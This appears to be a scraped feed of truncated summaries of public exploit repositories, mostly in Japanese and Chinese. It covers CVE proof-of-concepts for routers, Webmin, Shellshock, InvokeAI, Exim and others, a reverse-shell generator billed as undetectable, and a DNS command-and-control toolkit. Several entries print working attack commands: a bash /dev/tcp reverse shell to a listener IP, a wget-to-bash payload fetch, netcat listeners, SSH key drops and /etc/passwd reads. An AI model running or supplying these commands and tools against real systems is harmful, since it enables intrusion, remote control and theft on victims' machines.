CVE-2026-35867

A Command Injection vulnerability exists in the bsSetLimitCliinfo function within the libshare.so library of the LB-LINK router AC1900AZ2 V1.0.2 via shell metacharacters, if the device is deployed in a scenario where an actor is able to make a "POST /goform/setLimitClientcfg" call but does not...

CVE-2023-26469

CVE-2023-26469 REC PoC このリポジトリには、CVE-2023-26469 のエクスプロイトスクリプトが含まれています。この脆弱性により、攻撃者はパストラバーサルを利用してサーバー上のファイルにアクセスし、コードを実行することができます Jorani 1.0.0。さらに、スクリプトにはシェルアップロード機能が含まれており、さらなる悪用が可能です。 エクスプロイト概要 CVE-2023-26469 : Jorani 1.0.0 でリモートコード実行を可能にする重大な脆弱性です。詳細は NVD レポート を参照してください。 免責事項...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE 代替アプローチ：リバースシェル＆コールバックテスト 概要 このリポジトリには、InvokeAIのRCE脆弱性（CVE-2024-12029）に対して、SSHキーインジェクションが失敗した場合の代替ペイロードアプローチが含まれています。ペイロードは、pickle逆シリアル化が実際に行われているかどうかをテストし、代替アクセス方法を提供するように設計されています。 問題の説明...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 シェルショック エクスプロイトスクリプト 🎯💻🔍 このPythonスクリプトは、シェルショック脆弱性 CVE-2014-6271 を悪用して、脆弱なターゲット上でリモートからコマンドを実行したり、リバースシェルを確立したりします。 🛠️⚠️ ⚠ 免責事項 🚨❗ このスクリプトは、教育目的および許可されたペネトレーションテストのみを目的としています。明示的な許可なくシステムに対して不正に使用することは、違法かつ非倫理的です。セキュリティテストを実施する前に、必ず適切な許可を取得してください。 ⚠️🛑🚔 🔥 機能...

CVE-2024-37770

CVE-2024-37770 description 14Finger v1.1 被发现其指纹功能中存在远程命令执行（RCE）漏洞。该漏洞允许攻击者通过构造的有效载荷执行任意命令。 Attack Vector 未认证的攻击者可通过 shell 元字符执行命令注入，从而实现对远程服务器的 RCE。 Detail 核心功能的指纹扫描点存在未授权的远程命令执行漏洞 通过审计源代码，可以看到当 onlyspider 为 false、spider 为 true 时，将执行 crawlsite 函数 继续跟进，发现提交的 URL 会被拼接到 CMD 中，交给 Python 的 subprocess...

mpDNS

mpDNS 別名 マルチパーパスDNSサーバー シンプルで設定可能な、多くの便利な機能を備えたDNSサーバー Python 3 names.db - すべてのカスタムレコードを保持（例を参照） シンプルなワイルドカード（例: .example.com） Unicode DNSリクエストをキャッチ カスタムアクション（別名マクロ）: shellexec::dig google.com +short - シェルコマンドを実行し、結果で応答 eval::res = '1.1.1.%d' % random.randint0,256 - Pythonコードを評価 file::/etc/passwd...

ShellShockHunter

ShellShockHunter v1.0 シェルショック脆弱性をテストするためのシンプルなツールです。 root@kitploit: 作成者: MrCl0wn ブログ: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab メール: mrcl0wnlab@\gmail.com Shellshock ソフトウェアバグ Shellshock（別名Bashdoor）は、Unix...

CVE-2024-53345

CVE-2024-53345 汽车租赁管理系统 1.0 - 1.3 版本中的严重 0 Day 漏洞 描述： 汽车租赁管理系统（版本 1.0 至 1.3）的系统设置模块文件上传功能中存在一个严重漏洞，允许低权限用户上传任意文件，包括可执行的 PHP 脚本。该漏洞源于文件类型验证不充分以及对上传目录的访问控制不当，使攻击者能够上传恶意文件，并无须身份验证即可公开访问这些文件。 通过利用此缺陷，攻击者可以上传 PHP shell，并随后在已上传文件的 URL 后附加 ?cmd=...

POC_react2shell_CVE-2025-55182

Next.js React Server Components RCE エクスプロイト CVE-2025-55182を悪用して、プロトタイプ汚染を介したリモートコード実行を行います。 著者: Severian N.K. 説明 このツールは、React Server Componentsを使用するNext.jsアプリケーションのプロトタイプ汚染の脆弱性を悪用し、リモートコード実行（RCE）に至ります。直接的なコマンド実行とリバースシェルの両方をサポートします。 インストール このプロジェクトはPython仮想環境を使用して依存関係を管理します。まず、Python...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920 に問題が発見されました。passwordchange.cgi のパラメータ "old" と "expire" には、コマンドインジェクションの脆弱性が含まれています。 使用方法 1. 赤いボックスでリスナーを起動します。 root@kitploit: rlwrap -cAr nc -lvp 1919 2. エクスプロイトを実行します。 root@kitploit: ./exploit.sh 3. 次の引数がプロンプトで求められます：...

CVE-2020-8515

CVE-2020-8515 以前作って転がしてあったDraytek CVE-2020-8515 PoC。 面白いことに、注入したコマンドは2回実行される。以下参照: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900 2.6.33...

needrestart-privesc-cve-2024-48990

needrestart 权限提升 CVE-2024-48990 该仓库包含一个针对 needrestart（CVE-2024-48990）漏洞的最小化本地权限提升利用程序。 该漏洞通过滥用 -c 配置选项允许以 root 身份执行任意 Perl 代码，该选项会在特权上下文中被解析和执行。 原理 许多现有的权限提升利用程序需要编译自定义二进制文件、生成额外的 shell，或依赖交互式命令链。 此利用程序旨在避免这些要求，提供一种直接的本地权限提升技术，无需编译、无需额外工具，也不涉及交互式编辑器或分页器滥用。权限提升通过 needrestart 的特权配置执行创建 SUID-root...

victorian_machinery

Victorian Machinery Victorian Machinery は CVE-2022-30525 の概念実証 PoC エクスプロイトです。この脆弱性は、ゼロタッチプロビジョニングをサポートする Zyxel ファイアウォールに影響する、認証不要かつリモートから利用可能なコマンドインジェクション脆弱性です。Zyxel は 2022 年 4 月 28 日にこの問題の修正をリリースしました。影響を受けることが確認されているモデルは以下のとおりです: USG FLEX 100, 100W, 200, 500, 700 ATP 100, 200, 500, 700, 800...

cve-2017-0358.sh

このリポジトリには README がありません。...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - 権限昇格 ./exploit.sh CVE-2022-37706 脆弱なSUIDファイルを探しています... これには数秒かかるかもしれません... + 脆弱なSUIDバイナリが見つかりました! + ルートシェルを取得しようとしています! + ルートシェルをお楽しみください : mount: /dev/../tmp/: /etc/fstab に見つかりません。 id uid=0root gid=0root groups=0root,4adm,1000...

fudshell

fudshell 一款高效的脚本，用于生成红队所需的FUD持久反向Shell。请勿将生成的载荷上传至VirusTotal 警告： root@kitploit: 请勿将任何载荷上传至VirusTotal。如果被检测到，请告知我， 我会更新载荷。 如果需要Cobalt Strike规避方案，请通过Telegram联系我：@R0ot1337 使用方法： root@kitploit: 1. 输入LHOST（你的IP地址） 2. 输入LPORT（你的端口） 3. 生成PowerShell载荷后。 4. 使用netcat监听（nc -lvnp 你在LPORT中指定的端口） 安装：...

dns-black-cat

DNS-Black-CatDBC マルチプラットフォーム対応の対話型C2C DNSシェル用ツールキットです。DNS-Black-Catを使用すると、完全に暗号化された隠蔽チャネル上でシェルモードのシステムコマンドを実行できます。 サーバー Pythonスクリプトとして移植され、必要な機能を備えたDNSサーバーとして動作し、対話型シェルコマンドインターフェースを提供します。 クライアント 以下のファイル形式として移植されています Windows 32/64 実行可能ファイル exe Linux 32/64 実行可能ファイル ELF Powershellスクリプト ps1 Dynamic...

CVE-2025-28915

CVE-2025-28915 脆弱性の説明： WordPress は PHP で開発されたブログプラットフォームで、PHP と MySQL のサーバー上で個人ブログサイトを構築することをサポートしています。 WordPress ThemeEgg ToolKit 1.2.9 およびそれ以前のバージョンにはコード問題の脆弱性が存在します。この脆弱性は、危険な種類のファイルのアップロードを許可するため、Web Shell のアップロードにつながる可能性があります。 環境構築： docker pull wordpress...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 脆弱性 CVE-2019-10149 の悪用のための PoC 使用例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...